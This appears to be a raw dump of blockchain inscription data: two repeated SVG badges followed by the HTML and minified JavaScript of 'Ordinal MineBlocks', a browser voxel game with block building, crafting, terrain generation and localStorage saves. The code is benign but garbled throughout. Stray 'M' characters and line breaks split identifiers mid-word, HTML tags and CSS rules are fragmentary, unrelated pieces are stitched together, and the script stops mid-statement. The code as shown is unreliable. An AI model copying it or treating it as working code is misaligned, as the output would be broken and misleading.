<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
